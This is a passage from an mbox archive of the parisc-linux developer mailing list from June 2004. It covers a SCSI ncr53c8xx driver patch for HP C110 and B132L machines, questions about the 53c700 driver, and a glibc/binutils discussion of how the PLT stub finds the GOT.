	with ESMTP id 02592-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 01:28:56 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0FA133BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 01:28:56 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A82264946AC; Sun, 20 Jun 2004 01:28:55 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 219774946AA
	for <parisc-linux@parisc-linux.org>;
	Sun, 20 Jun 2004 01:28:55 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 3033629809C; Sun, 20 Jun 2004 01:28:54 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 20025-07; Sun, 20 Jun 2004 01:28:52 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C9F6D298092; Sun, 20 Jun 2004 01:28:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <40D34A27.8060009@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24848

On Fri, Jun 18, 2004 at 08:01:43PM +0000, Joel Soete wrote:
> And all works fine now for me. Unfortunately I don't have other model (C, 
> D, R, J or K) using the same driver to test it more :(
> 
> I don't have any cvs ci access, so if there are no negative feedback can 
> somebody ci.

James owns this. I'll commit it if he tells me it's ok.

I didn't fully review this patch because of extra white space
changes like this one:

> -	struct scr_tblmove data [MAX_SCATTER];
> +	struct scr_tblmove data[MAX_SCATTER];

Not a reason to reject the patch. but it would be nice
if you submitted white space edits seperately.

> PS: I just noticed that this cut&past didn't respect my patch tabs (became 
> 8 space) so I attache also the original diff file (sorry for inconvenience

cut/paste almost nevery works.
Use an editor which can inline the patch file and sends mail
as plain/text. plain/text attachments work for me though it's
preferable to inline the patch.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <andy@puszczka.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ncr53c8xx patch for c110
Date: Mon, 21 Jun 2004 09:48:10 +0200 (CEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <47618.193.161.152.244.1087804090.squirrel@www.puszczka.com>
References: <40BD9F8700009BB8@ocpmta2.freegates.net><1087569206.2078.13.camel@mulgrave>
	<40D30E3C.1010809@tiscali.be> <40D34A27.8060009@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624455 25487 80.91.229.3 (22 Nov 2014 02:47:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:35 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21549 invoked by uid 65534); 21 Jun 2004 07:32:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 21 Jun 2004 09:32:31 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 842E53BDD6; Mon, 21 Jun 2004 01:32:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14930-07; Mon, 21 Jun 2004 01:32:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8A15D3BDCE; Mon, 21 Jun 2004 01:31:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16AC03BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 01:31:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14259-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 01:31:48 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1A0783BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 01:31:48 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 83DEE4946AD; Mon, 21 Jun 2004 01:31:45 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by palinux.hppa (Postfix) with ESMTP
	id C5263494678; Mon, 21 Jun 2004 01:31:44 -0600 (MDT)
Original-Received: from tolstoy.puszczka.com (93.80-203-39.nextgentel.com
	[80.203.39.93]) by mail.broadpark.no (Postfix) with ESMTP
	id CD65C44F1; Mon, 21 Jun 2004 09:32:07 +0200 (MEST)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id CA16E7B13; Mon, 21 Jun 2004 09:48:10 +0200 (CEST)
Original-Received: from 193.161.152.244 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Mon, 21 Jun 2004 09:48:10 +0200 (CEST)
In-Reply-To: <40D34A27.8060009@tiscali.be>
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24849

> Hello James & Grant,
>
> Joel Soete wrote:
>>
>> otc I trust that backporting sym_scatter() into ncr_scatter() is a fix
>> ;) (i was not very sure)

<..snip..>

Patch works fine on the B132L too :-) As far as I know there wasn't
a problem here before (only Ravens seemed affected), but the patch
certainly didn't break anything! The machine has been constantly
compiling big packages (gnome/gtk/perl etc.) since the reboot,
including downloads from portage, large copies.. so the disk has
been getting a thrashing with no hiccoughs.

-Andy
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils 2.15?
Date: Mon, 21 Jun 2004 11:18:00 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <20040621151800.GC16360__19142.0513125651$1416624455$gmane$org@baldric.uwo.ca>
References: <40BDA020000074B9@ocpmta3.freegates.net>
	<200406140409.i5E49HYi003897@hiauly1.hia.nrc.ca>
	<20040614032519.GS5191@sunsite.ms.mff.cuni.cz>
	<20040614120820.GG28716@bubble.modra.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624455 25492 80.91.229.3 (22 Nov 2014 02:47:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:35 +0000 (UTC)
To: Alan Modra <amodra@bigpond.net.au>,
 Jakub Jelinek <jakub@redhat.com>,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org,
 binutils@sources.redhat.com
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9835 invoked by uid 65534); 21 Jun 2004 15:18:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 21 Jun 2004 17:18:48 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E59B83BDDB; Mon, 21 Jun 2004 09:18:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20524-06; Mon, 21 Jun 2004 09:18:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E35EB3BDDD; Mon, 21 Jun 2004 09:18:24 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4B6B3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 09:18:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20582-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 09:18:20 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AF5073BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 09:18:20 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 586A64946AD; Mon, 21 Jun 2004 09:18:20 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id C758C4946AC
	for <parisc-linux@parisc-linux.org>;
	Mon, 21 Jun 2004 09:18:19 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BcQYb-0003KY-00; Mon, 21 Jun 2004 11:18:01 -0400
Content-Disposition: inline
In-Reply-To: <20040614120820.GG28716@bubble.modra.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24850

> There's a lazy linking stub inserted at the end of the .plt section that
> loads the .got address by
> 
>   b,l	1b,%r20
>   depi	0,31,2,%r20
> 
> ie. it depends on .got immediately following these instructions.

My apologies for a tardy reply.

We don't *have* to depend on the .got immediately following these
instructions. Technically we look for a signature at the end of the PLT.
The code in glibc looks beyond the last relocation in the following 
equation:

ptr = reloc->r_offset + l_addr + PLT_ENTRY_SIZE + SIZEOF_PLT_STUB

And if it finds the signature at ptr[-2] and ptr[-1], then it
acknowledges that as the PLT stub. It then by proxy knows that the GOT
should be at ptr[0], but it doesn't have to rely strictly on this, I'm
more than willing to add more code to glibc to remove this restriction.

I just don't really know how other arches find the GOT at this early 
stage in ld.so's startup (e.g. elf_machine_runtime_setup()).

The only reason we use the GOT here is because we want to identify the
shared object by storing a pointer to the DSO link_map into GOT[1]. 
Which to tell you the truth, I'm sure has to do with something in 
binutils that I currently don't understand.

I'm slowly reviewing the binutils hppa code because I'd like to clean it
up / understand it enough to add TLS.

Jakub, I hope this helps, if someone has an idea then I would be more
than happy to implement the change and test the resulting
binutils/glibc.

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ncr53c8xx patch for c110
Date: 21 Jun 2004 11:17:04 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <1087834626.1797.38.camel@mulgrave>
References: <40BD9F870000CE2A@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624456 25497 80.91.229.3 (22 Nov 2014 02:47:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:36 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21186 invoked by uid 65534); 21 Jun 2004 16:18:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 21 Jun 2004 18:18:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E4B5C3BDED; Mon, 21 Jun 2004 10:18:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21563-05; Mon, 21 Jun 2004 10:18:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 572133BDEA; Mon, 21 Jun 2004 10:17:23 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6D853BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 10:17:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21563-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 10:17:19 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A2EC93BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 10:17:19 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 0FA6B4946AD; Mon, 21 Jun 2004 10:17:19 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by palinux.hppa (Postfix) with ESMTP id 55AAA4946AC
	for <parisc-linux@parisc-linux.org>;
	Mon, 21 Jun 2004 10:17:18 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i5LGH6i28946; Mon, 21 Jun 2004 12:17:06 -0400
In-Reply-To: <40BD9F870000CE2A@ocpmta2.freegates.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24851

On Mon, 2004-06-21 at 11:11, Joel Soete wrote:
> It should be. The c110 also have such LASI ASIC chip ;) and on its scsi
> port I connected a CRW drive. This week-end I tried to uncompress-untar
> the src of my working kernel tree burned on a cd. but the operation failled
> with an i/o error.
> At this moment, I didn't check more (too much focused on the ncr 720 patch)
> but I just check on my hpux b180 and there  is any pb to read the cd. So
> either the drive is realy broken (but I already reach to burn and scan a
> full 600Mb cd-rwwith a previous kernel) or there is a pb with 53c7[01]0
> driver too?
> 
> James can you give us your opinion about this ?

I know of no outstanding problems with the 53c700 driver in the 2.6
kernel (and I use it all the time, since my other voyager has a D700
53c700-66 device for its root discs).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ncr53c8xx patch for c110
Date: Mon, 21 Jun 2004 18:11:30 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <40BD9F870000CE2A@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624456 25504 80.91.229.3 (22 Nov 2014 02:47:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:36 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Andy Walker" <ajwalker@broadpark.no>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32018 invoked by uid 65534); 21 Jun 2004 16:12:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 21 Jun 2004 18:12:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5B5783BDDB; Mon, 21 Jun 2004 10:11:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21532-01; Mon, 21 Jun 2004 10:11:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4AB563BDDD; Mon, 21 Jun 2004 10:11:39 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 840503BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 10:11:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21082-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 10:11:35 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 574D23BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 10:11:35 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id BF5894946AD; Mon, 21 Jun 2004 10:11:34 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id 230D84946AC
	for <parisc-linux@parisc-linux.org>;
	Mon, 21 Jun 2004 10:11:34 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 21 Jun 2004 18:11:30 +0200
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24852

> -- Original Message --
> Date: Mon, 21 Jun 2004 15:40:06 +0200 (CEST)
> From: "Andy Walker" <ajwalker@broadpark.no>
> To: "Joel Soete" <soete.joel@tiscali.be>
> Cc: parisc-linux@parisc-linux.org
> Subject: Re: [parisc-linux] ncr53c8xx patch for c110
>
>
> >>
> >> Patch works fine on the B132L too :-) As far as I know there wasn't
> >> a problem here before (only Ravens seemed affected), but the patch
> >> certainly didn't break anything!
> >
> > Umm you have right to check according
> > <http://www.openpa.net/systems/b-class.html>
> > model B132L (not B132L+) ,B160L are also equiped wuth NCR53C720 (as
well
> > as:
> >     *  735, 755 (ASP2)
> >     * B132L, B160L
> >     * C100, C110, C132L, C160L, C160, C180
> >     * D-Class
> >     * J200, J210, J210XC, J280, J282
> >     * K-Class
> >     * R380, R390  )
>
> Well, I know it has 720, but it doesn't have U2/U-turn which
> means ccio-dma.c isn't used (so the merge size hack wasn't
> needed on B-class).
ah yes I understand, it was very the couple U2/U-turn+NCR53C720 which was=

broken.

> Obviously its good to check that the fixed
> driver works properly,
Yes always ;)

> but this machine didn't have the Raven
> problem before your patch.
>
 ;)

> Incidentally, I spotted a report on the Gentoo forums of a 712
> with similar sounding lockups (stopped sometimes, usually when
> calculating module dependencies which is the first disk
> intensive thing the Gentoo boot process does assuming fsck
> doesn't need to run). But 712 only has 53C710 on LASI (using
> the 53C700 driver) so I guess it can't be related.

It should be. The c110 also have such LASI ASIC chip ;) and on its scsi
port I connected a CRW drive. This week-end I tried to uncompress-untar
the src of my working kernel tree burned on a cd. but the operation faill=
ed
with an i/o error.
At this moment, I didn't check more (too much focused on the ncr 720 patc=
h)
but I just check on my hpux b180 and there  is any pb to read the cd. So
either the drive is realy broken (but I already reach to burn and scan a
full 600Mb cd-rwwith a previous kernel) or there is a pb with 53c7[01]0
driver too?

James can you give us your opinion about this ?

Welcome,
    Joel


-------------------------------------------------------------------------=
--
NEW: Tiscali ADSL LIGHT, 28,95 EUR/mois, c'est le moment de faire le pas!=

http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivar <orskaug@stud.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Matrox Mystique & C3000
Date: Tue, 22 Jun 2004 17:15:44 +0200 (CEST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0406221657130.18505@leopard.stud.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624456 25511 80.91.229.3 (22 Nov 2014 02:47:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
